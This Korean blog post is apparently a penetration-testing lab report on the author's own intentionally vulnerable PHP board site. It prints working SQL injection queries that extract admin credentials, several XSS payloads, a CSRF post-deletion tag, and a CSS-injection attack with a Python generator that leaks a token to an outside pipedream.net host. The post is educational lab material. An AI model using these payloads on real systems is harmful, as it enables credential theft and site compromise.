▶ 작성하기에 앞서
한두달만에 기능을 대강 구현하고, 실습용으로 기능을 몇개씩 추가하면서 만들었기 때문에 생각보다 페이지 수가 많다. 사실 원본 웹페이지에는 복습 겸 최선을 다해서 웹해킹 기법을 막으려고 노력한 흔적이 있기에(전부 preapared statement처리, htmlspecialchars처리, iframe sandbox처리 등), 몇몇 부분을 느슨하게 다시 만들어서 제출했다.
하지만 그럼에도 불구하고 허술한 부분을 손쉽게 뚫을 수 있도록 만들지는 못했기에, 모의해킹을 하시는 분들이 많은 고생을 하셨을 것 같다(iframe을 제외하고는 소스코드 블로그에 올린거랑 거의 똑같은데. 많이들 참고하실 줄 알았다 ㅠㅠ). 소스코드를 직접 짠 나는 아래와 같은 취약점을 의도했거나 미처 발견못했어도 당연히 알아낼 수 있었지만, 다른분들은 소스코드를 못본상태에서 모의해킹을 해서 정말 힘드셨을 것 같다. 죄송하고 미안한 마음이 앞서며, 내가 어떤 부분을 허술하게 작성했고, 나는 해당 사이트를 모의해킹 시도한 결과로 어떤 취약점을 찾았는지 서술하고자 한다.
▶ SQL Injection
SQLi는 데이터베이스의 정보를 탈취할 수 있는 공격기법이라, 마음놓고 공격하라고 풀어주기가 애매했다. 왜냐하면, 후에 서술하겠지만, CSS Injection 실습페이지에 Flag탈취 요소를 넣었기 때문에 SQLi 데이터베이스를 탈취하게 되면 손쉽게 Flag탈취 후 admin 계정으로 로그인할 수 있었기 때문이다. 따라서, SQLi 요소를 넣되 손쉽게는 탈취할 수 없게 만들었다.
[1] Login 페이지 : 제일 먼저 SQLi 요소를 예상할 수 있지만, 나는 크게 두가지 문제점이 발생할 것을 염려해서 Login page는 뚫을 수 없도록 prepared statement로 작성했다. 첫번째, 로그인이 뚫리게 되면 마이페이지, CSS Injection 실습페이지(secret.php) 등에서 데이터 베이스 호출 오류가 발생해서 db내용을 비정상적으로 출력할 것을 예상해 막아놨다. 두번째, 로그인이 뚫리게 되면, admin 아이디가 데이터베이스 최상단에 있기에 자칫하면 admin 으로 로그인할 수 있기 때문에 flag을 쉽게 탈취할 수 있을 것이라 예상해서 막아놨다. 그래서 여기에는 털어먹을게 없다고 주석으로 달아놨다.
[2] Register 페이지 : 의외로 SQLi 방어를 하나도 하지 않았다. 그래서 SQLi로 각종 정보를 빼낼 수 있는 노다지가 된다. 다만, 실제로 프로젝트나가서 이런짓을 하면 안될 것 같다. 회원가입/회원정보수정문에 SQLi를 괜히 했다가 어떤 결과를 초래할지도 모르니..(해당 설명을 듣기 전이라 이러한 요소를 적용할 수 있게 만들었다.). 어쨋든 Insert/Update문의 SQLi를 간단히 알아보자면.. Insert/Update문에는 한 칼럼에 여러값을 부여해도 업데이트한다는 점을 이용하면 다음과 같은 payload로 정보를 빼낼 수 있다. 다만, 개행처리를 했으니 주석처리는 못한다. 아마도 여기서 injection을 포기할 수도 있을 것 같다.
다음은 주소창에다가 database값을 업데이트 시키는 payload이다. 이후의 공격은 Union SQLi 와 같이 정보를 하나씩 빼내면서 수행하면 될 것 같다(단, 서브쿼리는 1행만 출력해야하므로, 이후의 과정에서는 limit를 붙이는 것을 잊지말도록 하자.).
Register_update.php(회원정보 수정시, 회원가입 시는 Insert문으로 시작함! + 마찬가지로 적용가능!) POST 데이터 전송: mode=modify&jj_id=hack123&jj_password=guest&jj_password_re=guest&jj_name=test123&jj_address=wang',jj_address=(SELECT%20database()),jj_name='hacker 구성된 쿼리문 : $sql = " UPDATE member SET jj_password = 'guest', jj_name = 'test123', jj_address = 'wang',jj_address=(SELECT database()),jj_name='hacker' WHERE jj_id = 'hack123' "; $result = mysqli_query($conn1, $sql); |
이러한 허술한 방어는 게시글을 올리는 페이지인 modify_check.php 에도 똑같이 적용했다.
[3] board 페이지 : board~로 시작하는 board page이다. board 검색에서 따옴표(')를 그냥 넣을 수 있는 취약점이 발생했다면, 아마도 Union SQLi로 이어졌을 것이다. 그래서 검색창은 addslashes로 처리했다. 다만, addslashes가 절대적인 SQLi 대응 방안은 될 수 없기에, 다른 위치 혹은 변수들을 이용해서 뚫어주기를 기대하며 만들었다. 특히 따옴표를 사용하지않고 변수를 받아오는 부분이 있다면, 이 부분은 addslashes로 막을 수 없다.
① 우선, catgo 변수는 addslashes를 하더라도 따옴표에 둘러쌓여있지 않으므로, 다음과 같이 UNION SQL injection을 수행할 수 있다.
SELECT * FROM board WHERE 0+UNION+SELECT+1,2,3,4,5,6,7,8%23 |
위에서 데이터베이스가 post_board인 것은 구했으니, 테이블이름을 구하면 다음과 같다. 참고로 addslashes 때문에 따옴표는 사용하지 못하니, char함수를 대표적으로 사용하면 다음과 같다.
SELECT * FROM board WHERE 0+UNION+SELECT+table_name,2,3,4,5,6,7,8%20from%20information_schema.tables%20where%20table_schema=char(112,111,115,116,95,98,111,97,114,100)%23 |
Table을 뽑아냈으니, 이제 column을 뽑아내면 된다. 대표적으로 member의 column을 뽑아낼 수 있을 것이다. 다음과 같은 payload로 member의 column값을 뽑아내도록 한다.
SELECT * FROM board WHERE 0+UNION+SELECT+column_name,2,3,4,5,6,7,8%20from%20information_schema.columns%20where%20table_name=char(109,101,109,98,101,114)%23 |
마지막으로 내가 털고 싶은 계정의 정보(나같은 경우 admin)를 입력하는데, 1,4,3,6,7 순서로 데이터를 출력하는 것을 생각해본다면 다음과 같이 입력하면 한꺼번에 뽑을 수 있다.
SELECT * FROM board WHERE 0+UNION+SELECT+jj_no,2,jj_password,jj_id,5,jj_name,jj_address,8%20from%20member%20where%20jj_id=char(109,101,109,98,101,114)%23 |
② 또한, 핵심 검색어가 아니라, date를 통해 UNION SQLi가 가능하다. 날짜에는 숫자만 넣을 것이라 예상해 addslashes처리를 하지 않는 경우가 많을 것이다. 또한, 보통 날짜로 데이터를 조회할 경우, 날짜는 제일 뒤에 위치할 것이라 예상할 수 있다. 따라서 다음과 같이 쿼리할 수 있을 것이다.
SELECT * FROM board WHERE $catagory LIKE '%$search_con%' AND date BETWEEN '$date1' AND ''UNION SELECT1,2,3,4,5,6,7,8%23 |
8까지 입력하면 다음과 같이 게시글을 출력한다(1,4,3,6,7, 순서대로 출력하는 것을 확인..!).
이후에는 위와 마찬가지 방식으로 Union SQLi를 수행하면 된다. 위에서 database()로 database이름이 'post_board'인 것은 알았으니, 그 다음부터 공격을 수행하면 다음과 같이 수행하면 되겠다.우선은 table이름 추출.
SELECT * FROM board WHERE $catagory LIKE '%$search_con%' AND date BETWEEN '$date1' AND ''UNION SELECT table_name,2,3,4,5,6,7,8%20from%20information_schema.tables%20where%20table_schema='post_board'%23 |
다음으로 member table의 column 이름 추출.
SELECT * FROM board WHERE $catagory LIKE '%$search_con%' AND date BETWEEN '$date1' AND ''UNION SELECT column_name,2,3,4,5,6,7,8%20from%20information_schema.columns%20where%20table_name='member'%23 |
마지막으로 타겟으로 정한 id를 조회하는 쿼리를 실행한다. 나는 admin아이디의 회원정보를 털 것이다. 1,4,3,6,7 순서대로 출력하므로, 해당 순서에 맞게 각 column을 넣는다.
SELECT * FROM board WHERE $catagory LIKE '%$search_con%' AND date BETWEEN '$date1' AND ''UNION SELECT jj_no,2,jj_password,jj_id,5,jj_name,jj_address,8%20from%20member%20where%20jj_id='admin'%23 |
③ 또한, SQLi가 가능한건 order by 절이다. 전에 내가 order by clause로 SQL Injection을 수행하는 방법에 대해서 글을 썼으니, 참고로 보고오면 좋을 것 같다. admin의 정보를 빼내오는 payload는 다음과 같다(단, {injection number}에 해당하는 부분은 숫자를 넣어야 한다!).
search_result.php GET 데이터 전송: http://your_domain/search_result.php?catgo=name&search=이름&date1=&date2=&order=(CASE%20WHEN(SELECT%20ASCII(substring(jj_name,1,1))from%20member%20where%20jj_id=%27admin%27)={injection number}%20then%20idx%20else%20title%20end) 구성된 쿼리문 : SELECT * from board where name like '%%' order by (CASE WHEN(SELECT ASCII(substring(jj_name,1,1))from member where jj_id=%27admin%27)={injection number} then idx else title end) desc limit 0, 5 |
참고로 데이터가 한글로 되어 있으면 유니코드니깐, ascii가 아니라 ord로 변환해서 적절히 Injection을 수행하자. 이렇게 해서 데이터가 출력하는 값의 순서가 숫자에 따라 바뀌는 점을 명심해서 Injection을 수행하면 된다. 참고로 order by SQLi는 prepared statement로 못막으니깐, Whitelist 기반 필터링을 수행해야 한다. 명심!
[4] modify 페이지 : modify류 페이지에는 총 세가지가 있다. 첫번째로 board, 두번째로 inquiry, 마지막으로 secret. 셋 다 필터링은 따로 안했다. 따라서, SQL Injection에 엄청 취약하다. 위와 같이 SQL Injection을 수행했다면, 구조는 다들 알 것이다. register_update.php 류 페이지와 마찬가지로 처음 글을 쓰면 INSERT문, 처음이 아니라면 UPDATE문으로 입력이 된다. 다만 register_update.php와 다른점은 inquiry_modify든 board_modify든 둘다 개행처리는 안되어있다는 점이다. 다음과 같이 payload를 구성하고 Injection으로 수정된 내 페이지를 보면서 데이터를 하나하나씩 뽑아낼 수 있다(inquiry_modify.php에서도 똑같이 발생한다.).
modify_check.php(수정시, 신규작성 시는 Insert문으로 시작함! + 마찬가지로 적용가능!) POST 데이터 전송: ------WebKitFormBoundarycPnc3mQP3ucECVfL Content-Disposition: form-data; name="mode" modify ------WebKitFormBoundarycPnc3mQP3ucECVfL Content-Disposition: form-data; name="id" 114 ------WebKitFormBoundarycPnc3mQP3ucECVfL Content-Disposition: form-data; name="title" 보안 점검 중입니다. ------WebKitFormBoundarycPnc3mQP3ucECVfL Content-Disposition: form-data; name="content" asd',file=(SELECT column_name from information_schema.columns where table_name='member' limit 0,1) WHERE idx='114'# ------WebKitFormBoundarycPnc3mQP3ucECVfL Content-Disposition: form-data; name="j_file"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarycPnc3mQP3ucECVfL-- 구성된 쿼리문 : $sql = " UPDATE board SET id ='hack123', name = 'test123', title = '보안 점검 중입니다.', content = 'asd',file=(SELECT column_name from information_schema.columns where table_name='member' limit 0,1) WHERE idx='114'#' |
마찬가지로 실제 모의해킹을 할 때는 시도하지 않는게 좋을 것 같다.
▶ XSS(Cross-Site Scripting)
[1] Stored XSS
XSS는 board_read.php에서는 유발되지 않는다. 이는 alert(documnet.domain)을 입력해보면 알 수가 있는데, board_read.php 에서 빈칸으로 뜬다. 그리고 alert(document.cookie)로 document.cookie를 호출하면 실행되지가 않는다. 이는 SOP 정책 때문인데, document.domain이 iframe의 sandbox 때문에 Cross domain이 되고, 이 때문에 SOP(Same Origin Policy)에 저촉돼서 document.cookie를 불러올 수 없다고 경고가 뜬다. 크롬 개발자도구를 열어보면 알 수 있다.
iframe의 sandbox를 우회해야할까? bug bounty 에서 Angular js를 사용하는 사람이 sandbox를 bypass하는걸 보긴했는데, angular js 사용법도 미숙하고 한눈에 봐도 엄청 복잡하게 뚫어서 아직 내가 범접할 단계는 아닌 것 같다는 생각을 했다.
그럼 어떻게 해결해야될까? 답은 의외로 간단하다. iframe을 어디서 불러오는지 찾고 해당 페이지로 들어가보면 된다. board_read.php 에 게시글을 보면 iframe 태그에 src 속성으로 board_frame.php 에서 불러오는 것을 확인해볼 수 있다.
일부러 HTTP_REFERER로 검증하는 위치를 하단부에 뒀기 때문이다. 하지만, inquiry_frame.php 에서는 앞쪽에 뒀기 때문에 해당 링크로 들어가도 Stored XSS를 수행할 수 없다.
그런데 굳이 board_read.php의 게시글에서 attack vector를 그렇게 찾지 않아도, file을 표시하는 아랫부분은 iframe에 쌓여있지 않기 때문에 attack vector가 될 수 있음은 생각해볼 수 있다. 슬래시(/)가 있으면 경로로 생각해서 짤려버리니, 슬래시가 없는 <img src=x onerror="alert(document.domain)">과 같이 생성해보자. 그럼 다음과 같이 경고창을 띄울 수 있다. 하나라도 정상적인 img 태그가 형성되면 공격할 수 있으니, 다음과 같이 payload를 구성할 수 있다.
modify_check.php .... file name =" test><img src=x onmouseover="alert(document.domain)"><" |
또, Stored XSS를 trigger할 수 있는 부분이 있는데, 바로 사용자의 이름이다. 게시글 목록에서의 사용자의 이름은 별도의 검증을 거치지 않고 출력하고 있으므로, 사용자 이름을 스크립트로 설정해버리면, 게시글 목록을 보여주는 단계에서 XSS가 발생하게 된다. 다만, 제목에서 Stored XSS를 마구잡이로 할 수 있게 된다면, 게시판이 배틀그라운드가 될 수도 있을 것 같애서 제목은 htmlspecialchars로 script 태그를 입력하지 못하게끔 만들었다. 참고로 날짜로 XSS는 안될 것 같다. 데이터형이 달라서 문자가 들어갈 수 없기 때문이다. (혹시 제목에 XSS 취약점이 생기더라도 onload가 아닌, onmouseover 등의 이벤트 핸들러로 공격하는 것은 매너!)
myprofile.php <a href="./" onmouseover="alert(document.cookie)">a</a> |
[2] Reflected XSS
Reflected XSS는 보편적인 위치인 '검색결과'로 나타나게끔 만들었다. inquiry든 board든 검색창에 스크립트태그를 넣고 검색버튼을 누르면 해당 스크립트가 실행됨은 정말 쉽게 발견할 수 있다.
[3] DOM based XSS : html injection? (DOM + Stored로 sandbox 태그 밖으로 보내버리기)
board_read.php에 어떤 기호를 넣어도(ex. <" '> ) iframe에 이를 그대로 출력한다는 것을 보아 필터링없이 그대로 GET방식으로 idx값을 불러오는 것을 알 수 있다. 게시글을 읽는 페이지(board_read.php)에서 게시글 id는 필터링없이 받는다는 점을 이용하면, iframe에 src를 불러올 때 입력한 값이 그대로 들어온다는 뜻이기도 하다. 따라서 Stored XSS Payload를 넣고 다음과 같이 idx값을 입력하면, iframe sandbox를 태그 밖으로 벗겨내서 그대로 공격이 가능하다. 다음과 같이 말이다. 이는 문의게시판에서도 똑같이 적용가능하다(inquiry_read.php).
board_read.php GET 데이터 전송: http://your_domain/board_read.php?idx=177"></iframe><iframe src="a 구성된 element : <iframe width="100%" height="100%" id="content" src="./board_frame.php?idx=177"></iframe><iframe src="a" sandbox="allow-modals allow-scripts"></iframe> |
문의게시판의 경우에는 idx값을 GET방식으로 전송시킨뒤에 해당값으로 iframe을 호출하는 방식이므로, 비밀번호를 제출함과 동시에 idx값으로 위와 같은 payload를 GET방식으로 제출해야한다. 이는 intercept를 걸어서 수행할 수 있는데,
inquiry_read.php 도 DOM XSS로 우회할 수 있다는 점을 알 수 있다(단, 거듭말하지만 inquiry 페이지는 위에서 서술한 frame에 직접 접속하는 Stored XSS방식으로는 수행할 수 없다.).
▶ CSRF(Cross Site Request Forgery)
[1] 게시글 수정 (modify_check.php, sec_modify_check.php)
POST 데이터로 해당 값을 받기 때문에, XSS취약점을 찾았으면 연계가 될 것이고, 못찾았다면, 연계를 못할 것이다. 앞서 말했다시피 Stored XSS로 board_frame.php 에서 공격을 수행하든가, DOM based XSS로 공격을 수행하든가, 게시글 목록에서 이름으로 Stored XSS를 수행하면 CSRF 공격이 가능하다. 첫번째 vector는 게시글 수정인데, 사실 CSRF가 아니더라도 수정할 수 있게끔 일부러 허점을 만들어뒀다(인증/인가 취약점).
사실 해당 취약점으로 DoS 공격을 서술하려고 했는데, 다른 사람 게시글을 마구잡이로 수정할 수도 있기 때문에 다른 공격도 마구잡이로 가능할 것 같다. 피싱 등등. 해당 취약점은 inquiry를 수정하는 inqmodi_check.php 에는 통하지 않게 만들어놨다. 하지만, CSS Injection 실습 용도로 만든 sec_modify_check.php에서는 위와 똑같이 검증에 취약점이 있도록 만들어놨다.
어쨋든 게시글 수정도 XSS 취약점을 발견했다면, CSRF attack vector가 될 수 있을 것이다.
[2] 게시글 삭제 (board_delete.php)
게시글 본인만 맞다면 삭제가 가능하므로 게시글 주인에게 다음과 같은 payload를 넣은 Stored XSS를 유도하여 공격할 수 있다. 단, XSS 취약점을 찾아야 공격할 수 있다. 공격 payload는 다음과 같다.
<img src="http://normaltic.com:9991/board_delete.php?idx=279"/> |
[3] 회원정보 수정 (register_update.php)
사실 jj_id값을 받긴 하지만, 실제로는 세션으로 아이디값을 받기 때문에 Stored XSS+CSRF를 만들기만 하면, 불특정 다수의 비밀번호를 전부 바꿔버릴 수 있다. 위와 마찬가지로 게시글에 출력되는 이름 또는 board_frame.php 로 Stored XSS를 수행하면 회원정보 수정을 할 수 있을 것이다.
▶ File vulnerability
[1] file upload vulnerability
사실 upload할 때, php 엔진을 끄도록 설정했다. 대강 어떤식으로 수행하는지 설명하자면, 파일을 처음 올리는 사람의 id로 폴더를 하나 만든다음, 그 안에 .htaccess 파일에 "php_engine flag off" 를 쓰고 파일이랑 같이 넣게끔 설정했다. 아마 .htaccess로 다른 형식의 파일들을 php로 실행하는 법을 설명한 적이 있으니, .htaccess를 새로쓰면 덮어씌워지니깐 다들 웹쉘 업로드는 금방 풀거라고 생각했다.
문의게시판의 경우 숫자형으로 번호를 받는게 아니라 varchar형으로 번호를 받아서 문자 삽입이 가능했다. 따라서, Path Traversal이 번호에 ../../../와 같이 입력하면 가능해서 한때 페이지의 php엔진이 꺼져버리는 불상사가 발생하기도 했다.(php_flag engine off가 쓰여진.htaccess 파일이 홈페이지가 있는 파일에 생성됐기 때문.). 현재는 그렇지 않지만, 전화번호를 입력하면 해당 번호 디렉토리를 생성하고 파일을 업로드하게끔 만들었기 때문에 여전히 path traversal이 가능함은 확인할 수 있다. 해당 기능으로 페이지를 덮어씌워서 Deface공격 등을 수행할 수 있다.
일반게시판에서 id로 디렉토리를 만들기 때문에 id값을 ../ 와 같이 입력하면 path traversal이 될 것이라 예상했지만, 안되는 것을 확인했다. 세션값으로 id를 받아서 그런가?(확인 필요)
[2] file download vulnerability
HTML 태그로 다운을 받아서 그런지, path traversal이 index위로는 가지 않는 모습이었다. 누군가는 성공해서 알려줬으면 좋겠다.
▶ 인증/ 인가 취약점
[1] 게시글 올릴 때 / 수정 할 때 (sec_modify_check.php, modify_check.php)
자바스크립트로만 alert창 redirect가 끝이므로, 게시글을 올리고 수정하는데 아무런 제약이 없는 것과 마찬가지이다. 따라서, DoS 공격에 취약하며, 남이 마음대로 내 페이지를 수정할 수 있기 때문에 피싱의 위협도 있을 것이라 예상한다.
[2] 주소 창
별로 중요하진 않은 것 같지만, address창도 html속성(readonly)으로만 제약하기 때문에 임의의 값을 그냥 넣을 수 있다.
[3] 게시글 프레임 (board_frame.php)
다음과 같은 HTTP_REFERER은 url로 접근하는 것을 차단하는 역할을 한다. 앞쪽에서 검증하는 것이 타당하나, 일부러 board_frame.php 에서는 뒤에서 검증하게 만들어뒀다. 단, inquiry_frame.php 는 앞에서 검증하기 때문에 해당 페이지에 접근할 수 없다.
[4] 파일 업로드 (inqmodi_check.php, modify_check.php)
파일을 업로드할 때는 사용자의 id값과 번호에 따라 디렉토리를 만들고 파일을 업로드한다. 다시말해, 사용자의 id로 전화번호를 입력해서 파일을 업로드하면, 내가 해당 파일에 존재하는 파일을 덮어쓸 수 있음을 뜻한다. 해당 공격으로 덮어쓴 파일을 사용자들이 다운로드 받게끔하여 악성코드를 감염시키는 공격을 할 수 있다.
▶ (번외) CSS Injection
혼자서 실습하던 페이지를 넣어서 제출해도 된다는 허락을 맡고 해당 실습페이지를 이어붙여서 제출했다. secret.php 류는 전부 CSS Injection을 실습하던 페이지이다.
secret_read.php 에서는 CSS 저장한 값을 받아서 CSS를 Injection할 수 있다. 무해한 CSS라면 상관없겠지만, CSS를 Inject할 수 있게 놔두는건 CSS Injection의 위협이 된다. 자세히보면 아래에 Key값이 있는데, admin으로 접속하면 admin의 password를 출력하게끔 설정했다. 따라서, CSS Injection으로 admin의 password를 탈취하는 Flag 적 요소까지 넣었다.
우선 CSS Injection으로 알파벳 하나하나를 따야되니깐 payload를 만들어보자. e열로 시작하는 알파벳 payload를 만들면 다음과 같다.
}input[name=SecretToken][value^=e]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/e");} |
첫글자가 e인것을 땄으면, 다음 글자를 찾기위해 다음과 같은 payload를 넣을 수 있다(파이썬으로 payload를 만들자. 손으로치면 못한다. 참고로 넣은 python은 a~z 열 두글자를 따는 코드).
python_payload_maker.py from string import ascii_lowercase from string import ascii_uppercase #preparing a table lower_alphabet = list(ascii_lowercase) table = lower_alphabet # making injection payload f = open("C:파일경로/CSSpayload.txt","a") f.write("}") for i in table: f.write(f'input[name=SecretToken][value^={i}]{{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/{i}");}}\n') for j in table: f.write(f'input[name=SecretToken][value^={i}{j}]{{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/{i}{j}");}}\n') |
}input[name=SecretToken][value^=e]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/e");} input[name=SecretToken][value^=ea]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ea");} input[name=SecretToken][value^=eb]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/eb");} input[name=SecretToken][value^=ec]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ec");} input[name=SecretToken][value^=ed]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ed");} input[name=SecretToken][value^=ee]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ee");} input[name=SecretToken][value^=ef]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ef");} input[name=SecretToken][value^=eg]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/eg");} input[name=SecretToken][value^=eh]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/eh");} input[name=SecretToken][value^=ei]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ei");} input[name=SecretToken][value^=ej]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ej");} input[name=SecretToken][value^=ek]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ek");} input[name=SecretToken][value^=el]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/el");} input[name=SecretToken][value^=em]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/em");} input[name=SecretToken][value^=en]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/en");} input[name=SecretToken][value^=eo]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/eo");} input[name=SecretToken][value^=ep]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ep");} input[name=SecretToken][value^=eq]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/eq");} input[name=SecretToken][value^=er]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/er");} input[name=SecretToken][value^=es]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/es");} input[name=SecretToken][value^=et]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/et");} input[name=SecretToken][value^=eu]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/eu");} input[name=SecretToken][value^=ev]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ev");} input[name=SecretToken][value^=ew]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ew");} input[name=SecretToken][value^=ex]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ex");} input[name=SecretToken][value^=ey]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ey");} input[name=SecretToken][value^=ez]{background: url("https://9dcd1e640b0f3078a198855c1b04e29c.m.pipedream.net/ez");} |
두글자 따는데만 몇만 글자가 필요하므로, 매우 소모적이다. rust를 이용하여 효율적으로 공격하는 방법도 있다.
'Project > 모의해킹 project' 카테고리의 다른 글
모의해킹 project3 - SB커뮤니티 보고서 (0) | 2023.01.21 |
---|---|
모의해킹 project3 - SB커뮤니티 (0) | 2023.01.21 |
모의해킹 project2 - JH커뮤니티2 보고서 (0) | 2023.01.19 |
모의해킹 project2 - JH커뮤니티 (0) | 2023.01.15 |
모의해킹 project1 - JH커뮤니티 보고서 (0) | 2023.01.13 |
댓글